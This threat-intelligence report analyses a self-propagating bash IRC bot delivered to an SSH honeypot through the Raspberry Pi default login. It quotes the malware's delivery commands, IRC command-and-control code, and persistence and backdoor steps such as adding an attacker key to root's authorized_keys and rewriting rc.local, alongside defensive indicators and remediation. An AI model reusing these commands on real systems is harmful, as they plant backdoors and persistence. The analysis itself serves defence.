The scp Drop: A Self-Propagating Linux IRC Bot from a Compromised Pi

TI-2026-087A · Series: The Raspberry Worm · Classification: HIGH · Confidence: HIGH

Most of what an SSH honeypot sees is knocking: millions of credential guesses that never get through, or get through and do nothing. Occasionally something walks in, and does the whole thing — authenticates, delivers a payload, runs it. On 2026-07-15 that happened, and the honeypot kept the binary. The first version of this report named the family from an antivirus signature and marked it accordingly. This version is different: the sample's bytes were retrieved and analysed on-estate, and the script tells its own story in plaintext — the command-and-control channel, the backdoor key, the whole worm loop. The confidence is now first-party.

What Happened

At 09:29 UTC on 2026-07-15, a host logged into the honeypot with the Raspberry Pi factory default — user pi, password raspberry — and, in a session lasting under two seconds, ran exactly this:

scp -t /tmp/wia0j56d
cd /tmp && chmod +x wia0j56d && bash -c ./wia0j56d
./wia0j56d

scp -t is the server side of an scp transfer — the receiving end — so the first command is the attacker pushing a file into /tmp. The second makes it executable and runs it. Get in, drop the file, execute, leave. The honeypot retained the pushed bytes; their SHA-256 is:

1ece1d43b28e3b38f2941bcb8a658067238abdfef0ce6f82f99d444b830dee90

What It Is — Read From the Script Itself

The retained sample was analysed on-estate (unwrapped from its scp wrapper, classified, and strings-extracted — no execution). It is not an ELF. It is a #!/bin/bash script, 4,745 bytes, and it is the classic Raspberry Pi worm of the Linux.MulDrop.14 lineage — a bash IRC bot. Microsoft Defender classifies it Backdoor:Linux/IRCbot.YA!MTB; that label is now corroborated by the script's own contents, not resting on it.

The command-and-control is Undernet IRC, in plaintext. The bot opens a socket to an IRC server on file descriptor 3 and speaks the protocol directly:

NICK=a${SYS:24}
printf "USER user 8 * :IRC hi\r\n"  >&3
printf "NICK $NICK\r\n"             >&3
printf "JOIN #biret\r\n"            >&3
# keepalive:
if [[ "$msg_in" =~ "PING" ]] ; then printf "PONG %s\r\n" "${msg_in:5}" >&3 ; fi
# command loop:
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then ... printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3 ; fi

It joins channel #biret and takes operator commands via PRIVMSG. Hardcoded servers: ix1.undernet.org, ix2.undernet.org, and the regional round-robin ashburn.va.us, bucharest.ro.eu, budapest.hu.eu, chicago.il.us — all .undernet.org. This is a text-based botnet node of the oldest and most durable shape, whose lineage — brute SSH access, IRC C2, DDoS/mining payloads — was traced through the honeypot corpus in TI-2026-071D back to the MalwareMustDie-era Perl IRC bots. wia0j56d is a living leaf on that tree.

The Worm Loop Is in Plaintext — Not Inferred

The first draft inferred self-propagation from the loader's profile. The script removes the need to infer: the propagation and persistence are written out as shell.

• Backdoor SSH key. It appends an attacker RSA key to root's authorized_keys: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq… — the signature MulDrop.14 key, a hard IOC that persists across the family.
• Account backdoor. It resets the pi account password to a fixed hash: usermod -p $6$vGkGPKUr$heqvOhUzvbQ66Nb0JGCijh/… pi — so every infected Pi shares a known login.
• Boot persistence. It self-copies to /opt/ (mktemp -u), then writes that path into /etc/rc.local and calls sudo reboot, so the bot returns on every boot.
• DNS pin. echo "nameserver 8.8.8.8" >> /etc/resolv.conf.

pi/raspberry is the way in; the pi-account and authorized_keys backdoors plus rc.local persistence are the way it stays and the way it becomes the next launch point. That is the entire worm loop, and it is documented, not deduced.

Turf control. The bot is territorial. It kills competitors — killall minerd node nodejs ktx-armv4l ktx-i586 ktx-m68k ktx-mips ktx-mipsel ktx-powerpc ktx-sh4 ktx-sparc arm5 zmap kaiten perl bins.sh — wipes /root/.bashrc and /home/pi/.bashrc, cleans /tmp/ktx*, /tmp/cpuminer-multi, /var/tmp/kaiten, and sinkholes a rival's C2 with echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts. It also drops an RSA public.pem used to verify or decrypt follow-on payloads. Bot-on-bot poaching, in the open.

The Victim Is the Attacker

The node that delivered it, 177.253.168.2, is not a datacentre: AS27831, Colombia Móvil (Tigo) — a consumer mobile ISP — rDNS Dinamic-Tigo-177-253-168-2.tigo.com.co. Its SSH client fingerprints (HASSH ae8bd7dd09970555aa4c6ed22adbbf56) as a real SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1 — the stock OpenSSH of Debian 11 / Raspberry Pi OS bullseye, not a scanner library. A consumer mobile address, a genuine Pi-OS OpenSSH client, and the pi/raspberry credential together say the same thing the script does: 177.253.168.2 is an infected Raspberry Pi, on someone's home mobile line in Colombia, doing what its own payload commands — hunting the next Pi. It is not the operator. It is a limb of the worm, and the worm's instructions are the file it just handed us.

This is the mechanism TI-2026-055E documented in the general case — the Raspbian campaign uses pi:raspberry to compromise Pis, then uses them to scan for more; each victim becomes a scanner; 92% success. 087A is that mechanism with the payload attached and read. The one thing still not observed on our sensor is this specific node's onward hop — we see the limb reach for us and read the instructions it carries, but we do not watch it infect the next host. That single step remains an (extremely well-supported) inference; everything else is on the page.

Why the Delivery Matters More Than the File

The file is commodity. The delivery is chosen to defeat the obvious defences. Most Linux loaders fetch their payload from a URL (wget http://host/bin), which gives the defender two handles: a download server to block and a filename to signature. This campaign does neither — it pushes the payload through the already-authenticated SSH session with scp -t /tmp/…, so the bytes ride inside the SSH channel from the compromising node itself; there is no download host to sinkhole. And the names are random per drop (wia0j56d today; Tmwl3bcg on 2026-06-21 — same family, same MO), so filename rules lose. The stable signal is behavioural: an SSH session that scp's a file into /tmp and immediately chmod +x's and runs it. Detect the how; treat hashes and IPs as the perishable layer.

(How we read the file at all: the honeypot platform previously kept only download metadata — the bytes were captured by cowrie but never analysed. That gap was closed for this investigation; retained samples are now statically analysed on-estate — type, scp-unwrap, strings, and IOC extraction — which is how a bare AV label became a first-party account of the C2 and the worm loop.)

Steelmanning: "It's still one node and a commodity script — you're over-reading"

The remaining honest objection is narrower than before, because "it's just an AV label" no longer applies — we have the script. What survives: MulDrop.14-lineage bash bots are commodity, the delivery IP is a single ephemeral mobile address, and we never watched the onward infection. All true, and none of it weakens the load-bearing claims.

The commodity point cuts the other way. A commodity worm with a hardcoded backdoor key, a fixed channel (#biret), and a decade-old lineage is not less concerning for being generic — it is more durable, and its IOCs are more shareable, precisely because they recur across the family. The authorized_keys key and the #biret/Undernet C2 are hard, reusable indicators, not one-off noise. The ephemeral IP is expected — the report names it a limb, not an operator, and claims no actor attribution; that was never the finding. The unobserved onward hop is the one inference left, and it is bounded as such — but the mechanism it would complete is written verbatim in the payload we captured. The dossier does not claim a named adversary or a measured infection count; it documents a recurring, self-propagating IRC-bot campaign, a specific active family, and a concrete C2 — and it now earns all three from the bytes, not from a vendor string.

What Holds, and What Is Bounded

Documented, first-party (HIGH): the loader chain (pi/raspberry → scp -t /tmp/wia0j56d → chmod +x → execute); the retained sample and SHA-256; that it is a bash IRC bot of the MulDrop.14 lineage; the Undernet C2 and channel #biret; the authorized_keys backdoor key, the pi password-hash backdoor, and /etc/rc.local persistence; the rival-kill list and the bins.deutschland-zahlung.eu sinkhole; the recurrence (identical scp-drop family sample Tmwl3bcg, 2026-06-21) and five external same-family siblings (2026-05-17 → 2026-06-21); the loader provenance (AS27831 Colombia Móvil mobile, Debian-11 OpenSSH). The Defender IRCbot.YA!MTB label is corroborated by these.

Bounded / inferred (MEDIUM-HIGH): only the onward hop — that 177.253.168.2 goes on to infect further Pis — is inferred (from provenance + the payload's own propagation code), not observed on this estate. The five external sibling hashes remain external corroboration for watchlisting.

Why It Matters — and What To Do

The scp Drop is a small, clean specimen of a large, boring truth: the Raspberry Pi default credential is still, in 2026, a working worm vector, and the worm riding it is a decade-old bash IRC bot that turns each victim into the next launcher and the next backdoored login. Nothing here is sophisticated — it does not need to be, because the input (an internet-exposed Pi with pi/raspberry) keeps being supplied.

For a defender, in order of leverage:

1. Remove the fuel. Change or disable the pi default and never expose Pi-class SSH to the open internet. The whole campaign is downstream of that one credential.
2. Detect the behaviour, not the file. Alert on an SSH session that scp's a file into /tmp (or any world-writable dir) and immediately makes it executable and runs it.
3. Hunt the durable IOCs. The MulDrop.14 authorized_keys key, an outbound connection to *.undernet.org joining #biret, the fixed pi password hash, and /opt/ in /etc/rc.local are all reliable, family-wide indicators — more durable than any hash.
4. If found, sever and clean. Isolate to cut the IRC C2, kill the process, then remove the planted authorized_keys line, reset the pi credential, and strip /etc/rc.local + the /opt dropper — an IRC bot that only lived in memory would be the optimistic case.

The honeypot's job is to keep the specimen so the rest of us don't have to be the specimen. This one is kept, read line by line, and filed — and the door it walked through is the oldest open one on the internet.

Core IOCs

Cross-references

• TI-2026-055E — The Small Cells — the pi/raspberry self-propagation worm mechanism; this case is a named, dated instance with the payload read.
• TI-2026-071D — D is for Dota — the Perl/Outlaw/Dota IRC-bot lineage this family descends from.
• TI-2026-008B — The Key to 81 Machines — the Outlaw/Shellbot key-family; the sibling SSH botnet, differentiated to avoid conflation.
• TI-2026-051A — The Password Is the Product — pi/raspberry as a high-value IoT credential in the estate's credential economy.

TLP:WHITE. Attacker infrastructure, malware indicators, and defensive guidance only. The delivery node is a compromised third-party victim (a home Pi), named as an infected host, not an operator; no personal data is disclosed. The only unobserved step (the node's onward infection) is marked inferred; all family/C2/behaviour claims are first-party from the retained sample.